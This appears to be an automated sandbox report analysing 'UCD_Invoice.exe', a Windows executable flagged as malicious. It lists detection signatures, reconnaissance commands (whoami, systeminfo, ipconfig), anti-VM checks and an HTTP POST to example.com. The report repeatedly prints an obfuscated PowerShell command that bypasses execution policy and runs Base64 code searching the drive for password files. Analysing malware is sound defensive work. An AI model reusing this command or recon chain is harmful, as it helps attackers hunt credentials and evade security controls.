Windows Analysis Report
UCD_Invoice.exe

Overview

General Information

Sample name: UCD_Invoice.exe
Analysis ID: 1417003
MD5: 54141e908422dcbafbb2a393087b302c
SHA1: cbb743e5f146a92d98908cb75bde70bfe80a700f
SHA256: 5d08c6a730a09e0f024a07ecea931cb8fe942b8c063edd896c636fc42454e494
Infos:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Initial sample is a PE file and has a suspicious name
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Suspicious command line found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses ipconfig to lookup or modify the Windows network settings
Uses whoami command line tool to query computer and username
Writes or reads registry keys via WMI
AV process strings found (often used to terminate AV products)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Tries to load missing DLLs
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: http://pesterbdd.com/i Avira URL Cloud: Label: malware
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_008072B0 CryptStringToBinaryA,CryptStringToBinaryA, 0_2_008072B0
Uses 32bit PE files
Source: UCD_Invoice.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: UCD_Invoice.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: wC:\Users\JSmith\Desktop\Malware\Malware.pdb source: UCD_Invoice.exe
Source: Binary string: C:\Users\JSmith\Desktop\Malware\Malware.pdb source: UCD_Invoice.exe
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083F9A9 FindFirstFileExW, 0_2_0083F9A9
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083FE5A FindFirstFileExW,FindNextFileW,FindClose, 0_2_0083FE5A
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 93.184.216.34 93.184.216.34
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown DNS traffic detected: queries for: example.com
Source: unknown HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: text/plainUser-Agent: WinHTTP Example/1.0Content-Length: 3416Host: example.com
Source: powershell.exe, 00000007.00000002.1792905959.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1794542433.0000000007914000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/i
Source: powershell.exe, 00000007.00000002.1791417061.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.1791417061.0000000004D51000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1791417061.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: UCD_Invoice.exe, 00000000.00000002.2874189019.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.evilcorp.com
Source: powershell.exe, 00000007.00000002.1791417061.0000000004D51000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000007.00000002.1792905959.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1792905959.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1792905959.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.1791417061.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.1792905959.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: UCD_Invoice.exe, 00000000.00000003.2229249718.0000000001023000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000003.2229492381.000000000102C000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000003.2229091259.0000000001022000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000002.2874107556.0000000000CFD000.00000004.00000010.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000002.2874400410.000000000102D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.iana.org/domains/example

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 7536, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: UCD_Invoice.exe
Sample has a suspicious name (potential lure to open the executable)
Source: UCD_Invoice.exe Static file information: Suspicious name
Writes or reads registry keys via WMI
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Detected potential crypto function
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0082417A 0_2_0082417A
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0082443B 0_2_0082443B
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0082473B 0_2_0082473B
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00824A4E 0_2_00824A4E
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00824D4E 0_2_00824D4E
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_008450E4 0_2_008450E4
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0082504E 0_2_0082504E
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00825361 0_2_00825361
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00859BB6 0_2_00859BB6
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_008563AB 0_2_008563AB
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00856517 0_2_00856517
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0084E880 0_2_0084E880
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0084EEF0 0_2_0084EEF0
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00823391 0_2_00823391
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0084F420 0_2_0084F420
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00823652 0_2_00823652
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00823925 0_2_00823925
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00823BE6 0_2_00823BE6
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0084FC8B 0_2_0084FC8B
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00857DDC 0_2_00857DDC
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00823EA7 0_2_00823EA7
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0080BF0D 0_2_0080BF0D
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: String function: 0080206D appears 78 times
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: String function: 00836403 appears 61 times
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: String function: 00802D3D appears 41 times
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: String function: 008013D4 appears 31 times
Tries to load missing DLLs
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\whoami.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\whoami.exe Section loaded: authz.dll Jump to behavior
Source: C:\Windows\SysWOW64\whoami.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\whoami.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\whoami.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Section loaded: esscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Uses 32bit PE files
Source: UCD_Invoice.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: Process Memory Space: powershell.exe PID: 7536, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: ucd_info.svg.0.dr Binary string: Boot Device: \Device\HarddiskVolume1
Source: classification engine Classification label: mal100.evad.winEXE@13/6@1/1
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00807480 CreateToolhelp32Snapshot,Process32First,CloseHandle,CloseHandle,Process32Next,FindCloseChangeNotification, 0_2_00807480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Desktop\null Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7300:120:WilError_03
Source: C:\Users\user\Desktop\UCD_Invoice.exe File created: C:\Users\user\AppData\Local\Temp\ucd_info.svg Jump to behavior
Source: UCD_Invoice.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\UCD_Invoice.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\UCD_Invoice.exe "C:\Users\user\Desktop\UCD_Invoice.exe"
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\systeminfo.exe Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))" Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: UCD_Invoice.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: UCD_Invoice.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: wC:\Users\JSmith\Desktop\Malware\Malware.pdb source: UCD_Invoice.exe
Source: Binary string: C:\Users\JSmith\Desktop\Malware\Malware.pdb source: UCD_Invoice.exe

Data Obfuscation
barindex
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))@{# Script module or binary module
Suspicious command line found
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))" Jump to behavior
PE file contains sections with non-standard names
Source: UCD_Invoice.exe Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00801122 push ecx; ret 0_2_00859332
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00809A16 push ecx; ret 0_2_00809A29

Persistence and Installation Behavior
barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all

Boot Survival
barindex
Uses whoami command line tool to query computer and username
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
